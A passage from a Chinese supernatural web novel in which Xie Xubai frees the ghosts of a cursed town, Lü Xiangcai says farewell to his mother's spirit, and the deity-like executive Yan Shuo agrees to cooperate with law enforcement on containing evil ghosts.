女人眼皮轻抬,敏锐地发现谢叙白忽然恢复红润血色,笑声如夜莺轻灵动人:“幸好幸好,刚才你一副油尽灯枯的样子,我还真怕你画着画着就两眼一翻倒下去了。” 有宴朔帮忙屏蔽疼痛,谢叙白自然比刚才轻松得多。他留在意识空间里的这具身体,是他分出来的一抹识念。若非能够分散识念,谢叙白也不能在同一时间开导那么多善魂解脱。 谢叙白笑着说:“岑阿姨说笑了。” 女人笑意盈盈:“叫什么阿姨呀,我死的时候好像还没你大呢?” “岑小姐年轻貌美,我自然想换成更加亲切的称呼。”谢叙白失笑,“就是怕您儿子不乐意,要生气,骂我占他娘亲的便宜。” 女人笑容微敛,浅淡地扯了扯唇角。 待谢叙白为她恢复原本的模样,她起身,玩味地问:“那孩子看似放浪随性,嚣张不羁,实则心思敏感脆弱得很。你将我唤醒,当真不怕他看见我后承受不住?” 谢叙白摇头:“吕向财必须了却因果,除掉心魔,才能挣脱规则施加的束缚。” “况且您高看我了。”谢叙白抬眸看向女人,“我没有能力将百年之前的亡魂唤醒。您会出现,只因您放不下,才会余留一抹执念百年不散,直至今日和故人重逢。” 女人眼神幽深,戏谑地问:“不是你唤醒的我?也就是说,就算我现在立刻马上要走,你也拦不住咯?” 谢叙白和女人对视片刻,柔和地笑了一声:“若您不愿,我不会强迫您,也保证如果您想离开,没人会阻拦您。至于吕向财那边,我会想别的办法了却他的因果。” 女人审视谢叙白,倏然一笑,看向他的目光中犹带着一抹欣赏:“我总算知道我儿子为什么会那么在意你了,你要是在我们那个年代……不,你在什么年代都一样,绝对能成为无数人魂牵梦绕的对象。” 她说完,转身,一步跨出谢叙白构造的障眼法,来到吕向财的面前。 吕向财和顾南解开了误会。 其实也没什么好解释的,也没什么需要多说的。他在幻戏里,顾南也在幻戏里,两人相互有感应,只是一个避而不见,一个遍寻不到。 直到现在,谢叙白在中间做筏,才打破僵局,让两人得以见面。 顾南惭愧到泣不成声,吕向财短暂沉默一阵后,叹着气说道:“别哭了,一个大男人哪来这么多眼泪,真的很难看。” 顾南眼泪鼻涕横流:“你是不是觉得我特别傻?” “……”吕向财挑眉,“也没那么傻,至少还有自知之明吧。” 顾南霎时间哭得更凶了。 他哽咽地说:“我爹他们对你不好,我替他们向你道歉,对不起阿九!以后没有我拖累你了,你一定要照顾好自己。” 顾南深吸一口气,猛然上前用力地抱住吕向财,将人抱得死紧,他也想坚强点,却再度泣不成声:“你是我兄弟,是我顾南一辈子的兄弟!谢谢你。” 吕向财状似动容,嘴唇翕动。 少顷,他展颜一笑,往顾南后脑勺拍了一巴掌:“知道了,滚吧,下辈子记得要机灵点,别傻乎乎的谁都信。” 看着顾南在自己的眼前消失,吕向财来不及平复激烈起伏的情绪,一扭头,正撞见一张意想不到的人脸,瞳孔骤然凝滞,大脑嗡嗡直响。 “……娘?” 第156章 记得好好吃饭 记忆里的母亲早已模糊,吕向财唯独能记住的,只有那个逼仄阴暗的破砖房。 油灯黯淡,墙面斑秃,泥灰地面凹凸不平,角落堆积的杂物落满灰尘。 床上蜷缩着一道瘦骨嶙峋的身影,森白的指节没入被褥,不断地咳,不断地咳。突然她扒住床边,捂着嘴,弓起身,咳得撕心裂肺,青灰地面落满刺目的血点。 吕向财曾在岑家舅舅那里听说过母亲的传闻,无论是风华绝代的容貌,还是那些惊人听闻的事迹,都和记忆里病骨沉疴的影子对不上号。 直至此时此刻,再次与娘亲相见,吕向财才浑似被人当头棒喝,在无法言喻的震撼与惊艳中,意识到岑家舅舅当年到底还是收敛了。 眼前的美人,她一颦一笑勾勒出的绝艳身姿,举手投足时绽放出的刹那芳华,远比他多方听来的描述要美得多,简直是摄人心魄。 如果不是被拐走的话,如果她没有遇到任何意外…… 吕向财突然感到一阵窒息,胸口闷痛得发慌,瞳孔深处止不住颤抖。 女人忽然拍三下手,清脆的巴掌声将吕向财唤回神,听到女人扬声要求:“站着聊天也太累人了吧?谢小兄弟,就不能给张椅子什么的吗?” 谢叙白便造了一张沙发出来。 女人在沙发上落座,大大方方得像是在自己家里一样,她冲吕向财笑着招手道:“过来。” 吕向财一僵,双脚忽然打搅,同手同脚地走了过去,顺着女人的示意坐在她的身边,双手规规矩矩放在膝盖上,身体僵得像块冰冻的木头。 冷不丁的,女人将他的脑袋掰过去,眯着眼睛仔细打量。 “——娘?”吕向财和女人对上眼,不知道她想做什么,就像当初接受岑家舅舅的检视一样,紧张得手心冒汗,疯狂地在脑子里组织语言。 好半会儿,女人才似乎满意地松开他:“还行,长得像我。” 吕向财眨眨眼,揪紧的心脏倏然松快不少,嘴角刚要往上扬一扬,却听到女人话锋一转,冷笑连连:“你要是长得像那头畜生,我一定见面就杀了你。” “……”吕向财笑容凝滞,缓缓抿紧嘴巴,十指蜷缩揪住裤子,艰涩道,“对不起。” “害死我的是那头畜生,不是你,你没什么好对不起我。” 女人往后一靠,左腿搭上右腿,漫不经心地说道:“说起来我还得谢谢你,红罂村一贯喜欢用违禁药控制村人,那头畜生也想对我用,但他想要后代,不想让我最后生出来一个智障,所以直到你出生、断奶,我都没沾过那玩意。” “再然后。”女人咧嘴一笑,顾盼生辉的眼睛里掠过一丝狠意,“我就把他想喂给我的药,全部喂进了他的嘴里。” “我不得好死,他也别想好活。” 吕向财没吭声,五指攥紧成拳,颤抖着,脑袋埋得越来越低。 女人歪了歪脑袋,坐直了,伸长脖子,瞧见吕向财通红含泪的眼眶,抽了抽嘴角:“好歹当过刑官,这样就把你吓哭了?但凡我当时多一点力气,必定要等到夜黑风高他熟睡的时候,狠狠地砍他几刀,看看那狼心狗肺的畜生流出来的血是不是污黑发臭。” 吕向财悲从中来,眼泪啪嗒掉落下来,模糊了视野。 女人看在眼里,无可奈何地揉了揉他的脑袋:“我被抓走后可是从来没有……算了,哭吧,哭出来痛快一点。” 沉默一会儿,女人问:“你现在叫吕向财?” 吕向财手忙脚乱地擦泪,哑声回答:“是的。” 女人:“这名字也不错,有钱才能行四方。至于姓氏……” 她认真地看向吕向财,这次揉他脑袋的动作温柔许多:“你没有和那畜生同流合污,还干翻了罗浮屠,摧毁了红罂村,这很好。以后别跟那个畜生姓了,改姓岑吧,就跟着我姓。” 吕向财受宠若惊,像抱着烫手山芋般连声推辞:“我不能,我,我没脸姓岑。” “这有什么没脸的?跟我姓,不是跟岑家姓。”女人撑着下巴,唉声叹气,“想来我哥一定骂过你,我也能猜到他会骂些什么,无非是孽种杂种之类的。你说你这个舅舅混账不混账?说得好像你不是我生下来的一样。” 后半句话一出,吕向财的心里轰然掀起波澜,忍不住道:“但是……” “是我对不起岑家,对不起爹娘还有兄长。”女人目光幽深,含着难忍的歉疚和后悔,缓缓说道,“若非我当年任性妄为,也不会让他们白发人送黑发人。所以,即便要向岑家负荆请罪,也该由我来。” 说罢,她站起身:“我要回岑家故地一趟,你就留下来吧。你的朋友不错,是个值得结交的人。对了,你如今应该年满二十了吧?” 诡怪的容貌和年龄将永恒地定格在死亡的那一刻,吕向财忙不迭点头:“二十三。” “该提字了。”女人笑道,“便简单一点,字‘海跃’,海阔凭鱼跃,如何?原先给你起的名字你记不住,这次可别又忘了。” 霎时间一股强烈灼热的情感跨过上百年的时间长河,犹如惊涛骇浪,直冲吕向财的心头,他几乎再次淌下泪来,拽住女人的衣袖,哽咽地哀求:“别走,娘,留下来好不好,求您了,别走。” 女人踮起脚尖,拍拍他的脑袋,调侃道:“都过了吃奶的年纪了,怎么还这么黏娘亲啊?只是这次不行,你娘真得走。” 她看着吕向财,眼里波光闪烁,似乎有万千复杂的情绪凝聚其中,最后却是洒脱一笑,只说了一句。 “记得好好吃饭。” 女人说完,身体倏然化作一缕青烟飞上云霄,吕向财目眦欲裂,急急忙忙追上去,伸手去抓,声嘶力竭地吼:“娘!娘——!” 谢叙白现身,一把将他拦住:“区域限制没解开,你现在冲出去会被绞成碎片。” 吕向财不听,眼睛发红发狠,在谢叙白的手里疯狂挣扎。 眼看着那抹青烟彻底消散在灰蒙蒙的天色里,他怔愣好长时间,终是忍不住潸然泪下,将脑袋埋入谢叙白的肩膀,撕心裂肺地哭嚎起来:“啊——” 谢叙白拍了拍他的背,看着青烟消失的方向,女人怅然无奈的叹息在耳边回响。 “我恨过这个孩子,也想过杀了他,他要是跟着那个畜生有样学样,以后又长成个小畜生,那我就算万死也难辞其咎。” “所以在孩子断奶没多久,我掐住了他的脖子,小小的,软软的,脆弱得像是一碰就断,叫声细小得和兔子没什么区别。他看着我,像是不明白我为什么要这么对他,哭得稀里哗啦,一个劲儿地唤我娘亲,在我的手里疯狂挣扎。” “我说和娘亲一起走吧,他哭着喊不要,我用力,他就踹我,翻身来咬我,用尽一切力气阻止我。那么丁点大的崽子,那么丁点大的力气,居然给我抓出好几道血愣子,我也是那时候才知道,小孩的力气竟然能有那么大。” “他的求生欲真的很强。”女人像是陷入回忆,又像是思索沉吟,半晌,蓦然笑出声,不无欣慰地说道,“像我一样。” 女人告诉谢叙白,在他们那个年代,舆论压力大,唾沫星子能淹死人,女子失去贞洁非常严重,严重到会上升到败坏家风,被千夫所指。 何况岑家是荇州闻名一带的百年世家,家族里性子稍微烈一点的,遇到这种事,恐怕会当场自裁了断。 但女人那时候不知道怎么想的,想到旖旎风光,锦绣山川,自己还没全部看完,忽然强烈想要试一试能不能活下来。 直到孩子断奶后,畜生给她端来一碗蒙蔽心智的毒药,她才决然地断掉念想,偷换药物,将计划提前,拼死也要拽着那畜生一起下地狱。 所以吕向财,哦,不,岑向财,不愧是她的孩子。 但女人没有真正下狠手,是因为接下来的一幕。 当她直面孩子爆发出强烈的求生欲,震惊颤抖地松开手,那孩子跌坐回去,明明害怕得直哆嗦,却踉踉跄跄地扑上来,用力地抱住她。仿佛忘记上一秒还在伤害他的人是谁,哭得泪眼朦胧,口齿不清地叫着娘。 不记仇,柔软可怜,不像那畜生的性子。 女人在孩子的哭叫声里怔愣许久,脑子里激烈地天人交战,终于颤抖地捏了捏孩子的小脸蛋,决定用为数不多的寿命,好好养一养这个小家伙。 【既然不想死,那就努力活下来吧。我自横刀向天笑,去留肝胆两昆仑。路再难走,深一脚,浅一脚,慢慢悠悠的,也就这么走过去了。】 第157章 那是光 黑夜中散发着暗红灯光的红阴古镇,就像潜伏在深海阴翳中的灯笼鱼,每当无知无觉的游客踏入,瞬间撕破伪装,张开血盆大口,残暴贪婪地将他们吞吃入腹。 这些游客在枉死之后,一部分被怨气影响变成助纣为虐的伥鬼,如地摊大妈、剧院的服务生,蛊惑更多的路人涉足丧命。 一部分则变成丢失神智的幽魂,懵懵懂懂,忘记自己是谁,忘记自己从哪里来,眼神空洞,神情麻木,在空旷死寂的街道上无意识地徘徊,直至消弭。 陡然一道金光划破森冷夜幕,街道上的幽魂齐刷刷地回头看去,骤然被钉在原地。 只见古镇上空密不透风的黑暗竟然裂开一道口子,璀璨流金的光辉从中倾泻而出。 那光芒耀眼却不刺目,温暖似春风,顷刻间照亮街道上的每一寸土地,将所有的幽魂笼罩在光下。 幽魂们仿佛隐隐感知到什么,刹那间仰起脑袋,目光呆滞发直,死死地盯着那阔别百年的光辉。 一道。 两道。 三道。 越来越多的金光破开重重阴霾,终是在某一刻,光芒轰的一声压过黑暗。万千金光以雷霆破万钧之势贯穿穹顶,如绚烂烟火当空绽放,普照世间,长达上百年桎梏着古镇魂灵的规则牢笼轰然破碎! 冥冥之中,幽魂们感觉到施加在自己身上的无形枷锁消失了。 它们一动不动,涣散灰白的瞳孔倒映着越来越盛烈的金光,如同被拂去厚重的灰尘,一点点地焕发光彩。 它们再次感受到光和热,感受到久违的心跳声在干瘪的胸腔里震响。 “什么……那是……” 许久不曾开口,忘记怎么说话,幽魂神色怔忪,全凭本能嚅嗫嘴唇,笨拙地吐出干涩的字音。 “……光。” 此时的红阴剧院已成一片废墟,四处都是残垣断壁,硝烟弥漫。 随着最后一道魂灵化作寥寥青烟盘旋升入天际,痛苦凄厉的嚎哭彻底消失,一切终于重归寂静。 谢叙白的分身带着失魂落魄的岑向财现身,化作一道流光融入不远处的本体。 他唰一下从本体睁眼,映入眼帘的是宴朔的手臂。曲线流畅的肌肉轮廓从布料中突显出来,爆发感十足,像铁钳般环着他的胸腹。 在他度化怨魂的几小时时间里,宴朔竟然一直这么抱着他? 谢叙白下意识抬起头,正对上宴朔深沉如墨的眼睛。 被冰凉海水淹没的触感仍旧鲜明地残留在神经突触上,又在视线相撞的一刹那,愈演愈烈。 ……谢叙白动了动手指,默不作声地掰开后者的手臂,往前一步拉开距离,面向他,低声道了句多谢。 宴朔幽幽地扫过被谢叙白掰开的手臂,没能抱够,倒是有些意犹未尽的不甘愿。 不过祂的定力远超分身,这一丝不满足很快就被收敛得滴水不漏。 宴朔看向不远处的执法公安:“你准备怎么处理那些厉鬼?” 他不算惜字如金的性子,但也远远够不上积极活泼。即使在心情不错的时候,如非必要,也懒得理会他人,现在倒是罕见地主动开了口。 谢叙白跟着看过去,几名执法人员正毫不客气地将几抹沥青似的黑魂装入收容器具。 那几抹黑魂正是罗浮屠等人的残魂,它们被怨魂逮出来疯狂蚕食,只剩下这么一丁点。 但就算看起来能被一阵风吹散,也残留着少许自主意识。 其中一道戾气十足的黑魂极不安分,嘭嘭撞击玻璃,撞得容器东摇西晃,险些拿不稳。 执法人员也不惯着,冷眼拿来电击枪,对准容器中间的孔洞按下扳机。 滋啦一声响起强烈的爆鸣,容器内电闪雷鸣,火花四溅,沐浴在惨白电流下的黑魂被炸开花,登时爆出凄厉痛苦的尖叫,连声求饶。 “它们遭遇的痛苦不够赎罪,所以你没有第一时间用金火度化,也没有将其消灭。”宴朔说,“不过这么放任下去,有朝一日它找到机会吸足怨气,恢复力量,恐怕会是个麻烦。” 会是个麻烦,但称不上大麻烦。就是红阴古镇风生水起的鼎盛时期,宴朔也不会将罗浮屠掀起的波澜放在眼里。 谢叙白皱了皱眉头,宴朔说的这些他不是没有考虑过。 现在是执法机构重建初期,缺乏经验和技术支持,监管设备说不上有多完善,存在囚徒越狱的可能性。 以罗浮屠的恶劣性,要是侥幸逃脱,卷土重来,势必会造成一方生灵涂炭。 所以,哪怕可能性小到千分之一、万分之一,只要有这种可能,谢叙白宁愿受到【违背法律】的处罚,也要在这里解决掉罗浮屠,将后患扼杀在牢笼中。 斟酌沉吟之时,谢叙白对上宴朔的眼睛,忽然觉得有点怪异。 大概是宴朔对红阴古镇冷淡至极,又或者是宴朔此前淡漠人世的形象深入人心,谢叙白还以为他不打算插手干预。 可此时,宴朔的杀意浓烈得不像话。 谢叙白奇怪地问:“你也想杀了它们?” 谢叙白问出的这话,像是当头棒喝,猝然点醒了宴朔什么。 某一瞬间,男人的动作一顿,眼中飞快掠过一抹自己都没能察觉到的狐疑。 是,按照祂的性子,只要那些肮脏的家伙不凑过来碍祂的眼,就无所谓这世间到底有多少龌龊事。 太阳底下无新事。祂深谙再费心费力解决掉的不平事,不出十年八年,就会在同一个地方旧态复萌。甚至当年无辜可怜的受害者也会摇身一变成为阴险狡诈的加害者,罪恶的种子一茬接一茬地生根又发芽,周而复始。 这不是妄自揣测。 曾几何时,祂也插手过凡间事,也有许许多多的人发自内心地感激祂,为祂铸神像,建祠堂,日复一日虔诚地供奉。 最开始那些人只想化解灾厄,让亲人安康顺遂。 再然后他们开始祈求风调雨顺,硕果累累。 往后又忍不住祈盼多福多金,功成名就。 可最后的最后,一部分人类却将矛头对准他们的同族。一场惨不忍睹的自相残杀后,他们痛不欲生,崩溃大哭,转过头来怨恨咒骂祂,是蛊惑人心的恶魔。 祂也曾茫然过,困惑过,深究过。 结果却是看多,看惯,看厌。 世人的指责于祂而言不过蚊虫的叮咬,但叮咬过多不医治,也会发肿生脓,溃烂颤痛。 不知道多久之后,祂终于疲惫漠然地闭上了眼睛。 …… 宴朔拧紧眉头,既然祂早已决定不管闲事,那么又是因为谁决定重新入世? 谢叙白:“宴总?” 宴朔倏然回神,面无表情地丢出个理由:“黑暗生物以怨气为食,我也不例外。但怨气也分等级,像罗浮屠这种厉鬼释放出来的怨气,属于污秽中的污秽,要是不小心摄入,很倒胃口。” 他回答得缓慢,情绪也泛起细微的波澜,谢叙白直觉宴朔在掩饰什么。 但不等他说话,宴朔就强硬地转移了话题,语调冷淡且不容置疑:“我不准备杀了它们,事实上我来这里是为了将它们带走。” 原本还算松活的气氛一瞬间变得凝滞,谢叙白蓦然收敛笑容,挺直腰背,无声地注视宴朔,终于启唇询问:“带走罗浮屠,为什么?” 谢叙白并非质问,但语气是加重的。 宴朔深深地和他对峙,半晌不咸不淡地开口道:“因为他们是盛天集团预定的员工。” 即便是宴朔,也不想被人误会他想要袒护脏东西,在谢叙白眼神变化前,他快言快语地解释道:“盛天集团5层以上的员工,在公司任职期间,所有劳动所得的百分之九十五都将投入慈善基金会,用以资助被他们戕害的受害者及其家属,剩余资金用于扶贫当地民生建设。不允许拥有私有财产或物资,不允许无理由离开公司,不允许辞职。” “为避免怨气过重,壮大滋养厉鬼,引发不必要争端,每个季度末循环开启之前,公司上下将进行定时定点清算。按你们人类的话说——” 宴朔看向谢叙白,语气寒凉,没有一丝温度:“叫屠杀。” 第158章 我们完全可以合作 无论是语气还是态度,宴朔都分外强势。 这些恶鬼他今天一定要带走。 空气彻底凝固住了。 不远处的裴玉衡感受到宴朔身上散发的森冷威势,瞬间闪现到谢叙白的面前,单臂将他护在身后,掷向宴朔的目光肃冷且戒备:“阁下准备做什么?” 身后,谢凯乐正在查看岑向财的情况。 虽然他和岑向财交际不多,但到底算得上熟人。 当初谢叙白能成为他的老师,也是多亏岑向财的介绍,加上对方又是老师的好朋友,总不好晾在一边。 幸好,除了有点恍惚以外,看上去没什么大碍。 少年松上一口气,陡然察觉到急转直下的气氛,再一看两方人竟然对峙上了,惊得头皮发麻。 想到宴朔的可怖之处,谢凯乐想也没想地冲到谢叙白的身前,对上宴朔强装镇定:“好久不见啊三叔,您看起来比以前更加英俊潇洒了,我家的事还没来得及谢过三叔出手帮忙呢!” 平安顶着威压贴近谢叙白的裤脚,喉间压抑着嘶哑的低吼。 没吼两声,它的脑袋被人温柔地拍了一下。 谢叙白勾着狗子的下巴和侧颊,颇有技巧地将它掰到身后,呼噜两下毛茸茸的脑袋。 随后他探手,安抚地拍拍谢凯乐紧绷的肩膀,又贴近裴玉衡,低声耳语一句没事,直至中年男人威势渐消。 谢叙白走到众人身前,凝视宴朔不容置疑的眼神,在紧张到一触即发的氛围里,陡然发出一声肯定的轻笑:“……那不是好事吗?” 现行的执法机构尚未建立起完善的监管机制,而恶鬼的关押收容刻不容缓。 盛天集团愿意出面解决这个棘手的问题,这不是好事又是什么? 在谢叙白开口前,宴朔假设过人类可能出现的反应。 谢叙白脾气好,一般不会轻易翻脸。若是不赞同他的做法,大概率会蹙紧眉头询问缘由,不畏他的威势据理力争。 可当宴朔听着谢叙白赞同的语气,看到那双澄澈的眼眸中不加掩饰地流露出对自己的欣赏,他还是忍不住滚动了一下喉咙。 只为压住那下意识为谢叙白泛起的哼笑。 谢叙白招了招手,让执法人员将收容器拿过来,亲手递向宴朔,心平气和地道:“在制止恶鬼为非作歹这一方面,我们俩的目标是一致的,您没必要将我放在敌对面。” 宴朔曾在幻戏中帮他抵御过系统的攻击,又让小触手将岑向财的尸骨找了出来,证明男人事先就知晓岑向财离开了公司,甚至是默许。 除去这一种特殊情况,还没听说过有其他员工能成功逃出盛天集团。 不然岑向财当初也不会那么绝望,甚至剑走偏锋,将希望全部寄托在那时还是普通人的他身上。 说起来,之前还闹了个大误会。刚知道宴朔要血洗集团员工,谢叙白误将对方当成杀人狂魔,和岑向财谋划怎么晋升成公司管理,掀翻宴朔的残暴统治,解救公司全员。 后来第一次打交道,谢叙白发现宴朔不仅没有嗜杀的爱好,甚至还算得上亲切正直有原则。 又在之后发现盛天集团的人全部活得好好的,才醒悟自己可能误会了什么。 如今疑惑彻底得解,谢叙白心里的千斤石头也算落了地。 为之前误解宴朔的为人,他感到抱歉。 也为宴朔无数次帮他的忙,还有一些隐秘的原因,谢叙白眸光闪烁,姿态语调依旧温雅沉稳,眼神却软得一塌糊涂:“我们完全可以合作。执法大队人手齐全,消息灵通,抓捕恶鬼后直接送往盛天集团,就不用您费神又费心地亲自出来抓人。” “您觉得呢?” 宴朔凝视着谢叙白眼波流转的眼睛,回神时手已经伸了过去,将收容器接在手里,不置可否。 他心道谢叙白说得倒是挺好听,似乎双方合作的目的全在于为他省心省力,丝毫不提执法机构的新生规则【法律】稚嫩得比满月幼崽好不到哪儿去,别说关押厉鬼,就是约束自己人都够呛。 即便谢叙白继续这样成长下去,终有一天他会成为祂,变成旁人都难以企及的存在,但那是以后的事。 至于现在,对标执法机构幼小到可怜的规模,盛天集团家大业大,业务发展渗透全市,抛个名头就让暴发户和资本家们闻风丧胆,不说睥睨傲视自己未来的合作方,就是强势地攥住话语权,领导全局,料想谢叙白也说不出半个不字。 谢叙白定定地看着宴朔:“如果可以的话,我希望能尽可能多的了解盛天集团的内部规则和运行逻辑,同样我也会将执法大队有关刑事重罪方面的【法律】规则发送到您的邮箱,基于双方意愿能够达成一致的前提下,共同协定这次的合作细则,您看您这周什么时候有空?我都可以。” “……”宴朔一声不吭地盯着谢叙白。 恍惚着的岑向财终于回神,仰头对着夜空深深地闭上眼,将眼眶中的最后一点湿意逼回去,压下胸口灼痛的呼吸。 他睁眼,隐隐约约听到谢叙白谈及什么“了解盛天集团内部规则”、“共同协定”之类的字眼,登时眉头狠狠一跳,满脑子哀戚惆怅不舍悲痛瞬间惊散,三步并作两步冲到谢叙白的面前。 “好说好说好说,但是今天时间太晚了,谈工作有点伤身体了,要不我们过几天寻个时间再商量商量?” 岑向财一边冲着宴朔讪笑打圆场,一边对谢叙白疯狂使眼色。 诚然,谢叙白刚才的那番话,放在任何一个有合作意向的老板面前都没问题,但宴朔这人不仅占有欲强,还他X的有控制癌! 生意场上宴朔要拿大头,利润分红得是九一分。不要怀疑,他是得九的那一方。 集团名下所有子公司,哪怕是挂名的皮包公司,也必须由他全权控股。公司上下涉及到的任何业务和资金流水往来,哪怕他不管,也必须事无巨细地向他汇报。 不论董事会吵得多不可开交,只要宴朔开口,所有人都必须在十秒内闭上嘴听他号令,不然转眼就会变成糊在墙上的肉泥,铲都铲不下来的那一种,公司保洁一度在看见那惨不忍睹的画面时发出尖锐的爆鸣。 以及宴朔频频在生意场上爆出过“金句”。 “你们既没有经济支持,也没有市场优势,哪来的底气和我谈条件?” “均分?笑话,盛天向来坐庄通吃,鬣狗才喜欢分剩饭。” “如果盛天集团不能占据主导地位,那这场交易就和你们用脚踩出来的企划案一样毫无意义。” “没有瞧不起人,至少我很佩服你们不自量力和狮子小开口的勇气,送客。” 几次三番气得对家老总连连直翻白眼,当场急服救心丸后,岑向财一度怀疑宴朔的嘴抹了毒。虽然现在不怎么怼人了,但神经发作起来还是要命。 他如临大敌盯着宴朔的嘴,生怕里面吐出些不堪入耳的话来,到时候——他肯定是帮谢叙白,忍不了一点。 关键是打不过啊,他在盛天当了这么多年秘书,就没见谁在宴朔手底下讨到好。 但下一秒,和谢叙白对视良久的宴朔突然说:“好。” 岑向财都他X的惊呆了,不敢置信地看过去,怀疑自己出现了幻听。 大概分摊权力还是有点触及邪神控制欲极强的天性,宴朔竭力克制着反驳谢叙白想要拿回主控权的冲动,因为太用力,脸颊肌肉绷紧到微微颤抖。 宴朔僵硬半秒,补充道:“你定个时间,我最近都有空。” 谢叙白瞄了一眼如遭雷劈近乎石化的岑向财,不太明白好友为什么会紧张成这样。 他预料到宴朔可能会对执法大队也要上主桌的提议感到不快,毕竟双方现下的势力悬殊,能堆上谈判桌的筹码也少得可怜。 但所谓的合作和交易,不就是要靠讨价还价,你来我往,不断拉扯,来努力争抢自己的权益吗? 如果岑向财是害怕他被拒绝受打击,那,其实不用担心。 大学时期他参与社团活动拉投资,也曾被商家冷嘲热讽无视到底,还被人摆谱以过来人的姿态逮着教育,前后忙碌一个月下来都不一定能拉到赞助,他早已经习以为常,抗性点满。 所以宴朔答应得这么干脆利落,还挺令他……意外的。 谢叙白含笑柔声道:“那就这周四上午十点,地点定在盛天集团。” 其实想要掌握话语权,将会议定在自己熟悉的主场更好。 但谢叙白并不在意是这场行动由谁主导,更不介意将权力移交给靠谱的人。 他唯一看重且想要保证的是恶鬼得到有效惩治,绝无可能再为祸人间。 裴玉衡对宴朔突如其来的发难始终颇有微词,最主要的是,他看不透宴朔的实力。 这种危险人物,他向来的观念就是能离多远离多远。 见两人谈好会议时间,裴玉衡往前一步,将他们隔开,警惕地扫过宴朔一眼,对谢叙白低声道:“时候不早了,先回去休息吧。” 看出裴玉衡不怎么喜欢宴朔,谢叙白默默的不敢吭声。 他家裴爸爸是个铁直男,对傅倧那种同性恋变态深恶痛绝。心里也一直把他当小孩,表面不显山不露水,其实心里看得非常紧。 要是让裴玉衡知道他正戴着的金丝眼镜就是宴朔的分身,他们还在几天前亲得昏天黑地……那场面太美,他不敢想。 走是不可能一起走的了,索性宴朔没有搭便车的想法。 就是在岑向财下意识跟着谢叙白抬脚离开的时候,他扯了扯嘴角,丢过去一个冷到刺骨的眼神:“工作时间,岑秘书想要旷工?” “……”岑向财可怜巴巴地转向谢叙白:救救我救救我救救我—— 刚超度完整个红阴古镇的怨魂,谢叙白精疲力竭,但触及岑向财求助的眼神,还是不忍心将好友抛下。 这个时间点还要加班加点,让宴朔亲自出来逮人,说明是急事,让秘书旷班显然也不太现实。 不如尽快解决工作,谢叙白毛遂自荐道:“我也是盛天集团的员工,宴总说的工作积压是指什么,有我能帮上忙的地方吗?” 听到好友要和自己同舟共济,岑向财直接感动得稀里哗啦的。 就是莫名其妙脖子一凉……等等!好像有一股杀意在盯着他! 岑向财毛骨悚然地看向宴朔,后者视线不偏不倚,若无其事地道:“不是大事。” “就在几个小时前,红阴古镇的地皮招标结果下来了,盛天集团入选。董事会的人希望把这里发展成规模更宏大的旅游项目,对外加大宣发,拉几个能上中央电视台的广告商入伙。” 一个被列入市旅游景点的地皮,说拿下就拿下了。 宴朔用一种“今天是个好天气”的语气,随意谈论盛天集团取得的卓越成绩,该说不说,很有一切尽在掌握中的气势。 谢凯乐却忍不住想起之前在盛天集团请教宴朔,看见男人对着财神像一脸严肃虔诚:“求财神爷保佑盛天集团顺利竞选到……” 他差点没绷住,错步站在谢叙白的背后,揪住老师的袖子,憋笑憋到肩膀抖个不停。 谢叙白有些狐疑,偏过头和谢凯乐交换眼神,在谢凯乐的手势下,一大一小悄咪咪地构建精神链接,不动声色地交流。 通过记忆投影,他也看到了那生动形象到不忍直视的画面:“……” 深不可测的邪神忽然变得接地气了好多。 还有点可爱,嗯。 红阴古镇地皮招标…… 岑向财有印象,写出竞标企划案的负责人还是由他推荐的。 但那时的他是个蜷在壳里的缩头乌龟,害怕看到半点和过去有关的人事物,谈之色变,避之不及,所以把事情交代出去后,很少插手干预。 但他知道那些老不死的一心钻进钱眼里,一直想打着红阴古镇曾经是个毒贩窝的旗号,作为吸引猎奇者的噱头。 别觉得很荒唐,要知道天下之大无奇不有,总有那么一些傻哗嫌自己活得太长,想要体验把踩在钢丝线上的刺激感。 岑向财心里冒出一股股戾气,又觉得实在无力。 这件事他个人反对也没用,哪怕他是盛天集团的秘书。 足足几十个亿竞争来的地皮,宴朔怎么可能力排众议让它荒废下去。 宴朔看向谢叙白:“我也在考虑这块地皮的用途,策划部那些人给出的企划愿景都有点不尽人意,你说要帮忙,有什么好的建议?” 谢叙白看一眼岑向财,沉吟片刻,笑着道:“如果宴总不嫌弃我这个外行班门弄斧,我确实有个想法。” 第159章 谢哥哥——【《红阴古…… “建个飞机场——你到底是怎么想的?”直至上车,岑向财仍旧忍不住感慨谢叙白的奇思妙想。 最令他不解的是,宴朔在短暂停顿后竟然没有嗤笑否决,而是陷入沉吟,认认真真地听进去了! 谢叙白正忙不迭柔声安慰炸皮的小触手:“小一乖,不哭不哭,不委屈。是不是还很疼?来,我给你揉揉。” 宴朔收拾怨魂的时候,余威扫荡出去,直接把整个红影剧院冲成废墟。碎石断木噼里啪啦往下砸,如暴雨流星,被捆在椅子上动弹不得的小触手首当其冲,话都来不及吭一声就被砸得晕头转向,得亏皮厚才没受伤。 事后还是谢叙白忽然听到小触手暴怒的“咆哮”,才火急火燎地狂赶过去,将小家伙从土砾堆里解救出来。 小触手龙卷风似的环形一抽,将压在身上的碎石掀开八丈远,怒气冲冲地卷起房门大的石头,不停勒紧,“嚼”得咔咔碎,浑身溢散着暴戾愤懑的黑气。 可一看到谢叙白慌张担心的脸,它瞬间蔫了吧唧,戾气一散而空,哇的一下扑上去,缠着人类的手腕哭得好大声。 真的委屈惨了。 谢叙白冲着大家做了个口型,让大家稍等一下,不停揉搓小触手弹软的尖尖,歉意怜惜地亲上好几口。 直到勉强将小家伙给哄好,方才握住方向盘,发车开出红阴古镇。 岑向财打开车窗指向连绵起伏的山势:“机场选址首要条件就是平坦开阔,方便拉开行道助跑起飞,你看这里四面临山,行道都得拐着弯建。树多,下雨天起大雾伸手不见五指,妨碍视线,怎么看都不是一个能建飞机场的地方!” “还有,你们说的可是飞机场!不是什么菜园子牛棚子说建就给建了,要市里审批多部门合作,要从零起建联外道路系统配置、控制中枢通讯站、维修厂、水电供应设备……就是私人机场也要一系列审批立项!” 本来身心俱疲的岑向财是越说越清醒,越说越火冒三丈。 谢叙白只是提个小小的建议,不存在任何问题,但宴朔为什么要答应? 祂是灵机一动拍案叫绝了,事后忙前忙后跑断腿的还不是他这个秘书,祂到底是没睡醒还是脑子被驴哗了? 要不是某人的分身正缠在谢叙白的手腕上哼哼唧唧,岑向财没准就把傻哗两字骂出来了。 怒气值爆棚的打工诡王惹不起,怨念几乎凝为实质。 谢叙白很有始作俑者的自觉,心虚地干咳一声,岑向财却忽然凑了过来,狐疑地眯起眼睛。 